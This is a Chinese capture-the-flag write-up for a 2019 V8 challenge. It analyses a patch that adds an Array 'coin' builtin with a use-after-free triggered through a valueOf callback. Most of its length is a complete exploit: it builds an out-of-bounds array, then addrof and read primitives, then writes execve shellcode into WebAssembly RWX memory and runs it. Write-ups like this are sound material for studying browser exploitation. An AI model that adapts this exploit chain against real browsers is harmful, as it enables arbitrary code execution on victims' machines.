数字经济2019线下 v8 exploit

因为考试没去…场外看了看题。patch新增了一个builtin,存在UAF。
比赛的时候只给了编译好的chrome和对应的commit,没有给出v8的版本…,后来知世师傅发现可以在chrome里通过查看version查看v8的版本….
目标版本是7.7.2 , 我的exp是本地7.7.9调试的.

patch分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayCoin) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayCoin:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "coin",
+ Builtins::kArrayCoin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",

新增了一个Array的builtin函数coin,该函数有两个参数,第一个参数是length,第二个参数是value. array.coin(length,value).
阅读代码后,发现length参数并没有什么用…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());//先保存了element指针
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1))); //可以触发回调
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2))); //可以触发回调
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number()); // UAF
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }

代码的逻辑是如果数组的length大于37,则向array[37]写入参数value。
但是这里ToNumber函数可以触发回调,在回调函数里可以对array进行修改,例如修改array的length,如果length大于原先的length,则会重新分配一块空间给element,改变array元素的类型同样会重新分配一块空间给element。
但是原先的element指针已经被保存下来了,触发回调函数后,数组的element指针已经改变,这样就可以造成UAF.

利用思路

思路1:

在回调函数里,可以先将array的length设置为0,这样会强制GC将其回收,然后再new Array占位,这些Array将占据原先element所占的空间,然后再设置array的length大于37,这样就可以进入以下分支:

1
2
3
4
if(37 < array_length){
elements.set(37, value->Number()); // UAF
return ReadOnlyRoots(isolate).undefined_value();
}

利用UAF在新创建的Array内部写入数据,如果写入数据的位置恰好是某个数组的length属性,则可以获得一个OOB Array。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
let arr_array = [];
let array = [1.1,1.1,1.1];
for(let i = 0 ; i < 100 ; i ++)
array.push(1.1);
%DebugPrint(array);
%SystemBreak();
let value = {
valueOf:function ()
{
array.length = 0 ; //修改为0后,强制GC将element回收
gc();
%DebugPrint(array);
%SystemBreak();
for(let i = 0 ; i < 0x50 ; i ++) //占位
{
arr_array.push(new Array(0x50));
%DebugPrint(arr_array[i]);
}
%SystemBreak();
array.length = 0x100;
%SystemBreak();
return 0x1234567891234;
}
}
array.coin(0,value);

不过这个每次运行目标length的位置和原先element之间的偏移一直在变化,很难准确修改length.

思路2:

也可以先使用一个length小于37的Array调用coin,在回调函数中先new Array占位,再设置length大于37,这样原先element就可以越界写数组,如果恰好写到某个Array的length属性,就可以得到一个OOB数组.

测试代码:

1
2
3
4
5
6
7
8
9
10
let arr = [1.1,1.1,1.1];
let oobArray ;
let val = {
valueOf: function(){
oobArray = [1.1];//0x2e3b6fb0b619
arr.length = 100;
return 0x123456789999;
}
}
arr.coin(1,val); // GetOOBArray

这里通过调整oobArray和arr中元素的个数来控制原先element和目标length之间的偏移,最终可以修改oobArray的length.

得到oob数组过后,获得addrof,read,write原语,然后向WASM的代码区中写入shellcode即可.

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
class convert
{
constructor()
{
this.buf=new ArrayBuffer(8)
this.uint8array=new Uint8Array(this.buf);
this.float64array=new Float64Array(this.buf);
this.uint32array=new Uint32Array(this.buf);
}
f2i(x)//float64 ==> uint64
{
this.float64array[0]=x;
let sum = 0;
for (let i = 0 ;i< 8 ;i ++)
sum += this.uint8array[i]*(0x100**i);
return sum;
}
i2f(x)
{
let tmp = [];
tmp[0] = (x % 0x100000000);
tmp[1] = ((x - tmp[0]) / 0x100000000);
this.uint32array[0]=tmp[0];
this.uint32array[1]=tmp[1];
return this.float64array[0];
}
}
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }


let conv = new convert();
let arr = [1.1,1.1,1.1];
let oobArray ;
//%DebugPrint(arr); // element 0x3fba603cb508
//%SystemBreak();
let val = {
valueOf: function(){
oobArray = [1.1];//0x2e3b6fb0b619
//%DebugPrint(oobArray);
arr.length = 100;
//%SystemBreak();
return 0x123456789999;
}
}
arr.coin(1,val); // GetOOBArray
let objArray = [{a:0x414141 , b:{}}];
let buf = new ArrayBuffer(0x81);
//%DebugPrint(objArray);
//%DebugPrint(buf);
let objOffset ;
let bufOffset ;
for(let i = 0 ; i < 0x1000 ; i++)
{
if(conv.f2i(oobArray[i]) == 0x828282)
{
print(conv.f2i(oobArray[i]).toString(16));
objOffset = i+1;
break;
}
}
for(let i = 0 ; i < 0x1000 ; i++)
{
if(conv.f2i(oobArray[i]) == 0x81)
{
print(conv.f2i(oobArray[i]).toString(16));
bufOffset = i+1;
break;
}
}
function addrof(o)
{
objArray[0].b = o;
return conv.f2i(oobArray[objOffset]);
}

function read(addr)
{
oobArray[bufOffset] = conv.i2f(addr);
let uint8array = new Uint8Array(buf);
let sum = 0;
for (let i = 0 ; i< 8 ;i ++)
sum += uint8array[i]*(0x100**i);
return sum;
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
//%DebugPrint(f);
let f_addr = addrof(f) - 1;
console.log("f_addr ==> 0x"+f_addr.toString(16));
let share_info_addr = read(f_addr + 0x18) - 1;
console.log("share_info ==> 0x"+share_info_addr.toString(16));
let wasm = read(share_info_addr + 8) - 1;
console.log("wasm ==> 0x"+wasm.toString(16));
let instance=read(wasm+0x10) -1;
console.log("instance ==> 0x"+instance.toString(16));
let rwx_addr=read(instance+0x80)
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16));

shellcode =[72,49,210,82,72,141,61,48,0,0,0,87,72,141,61,37,0,0,0,87,72,141,61,21,0,0,0,87,72,141,52,36,72,141,61,9,0,0,0,72,199,192,59,0,0,0,15,5,47,98,105,110,47,115,104,0,45,99,0,101,120,112,111,114,116,32,68,73,83,80,76,65,89,61,58,48,46,48,59,120,99,97,108,99,0]
let dataview = new DataView(buf);
oobArray[bufOffset]=conv.i2f(rwx_addr);
for(let i = 0 ; i < shellcode.length ; i++)
{
dataview.setUint8(i,shellcode[i],true);
}
f();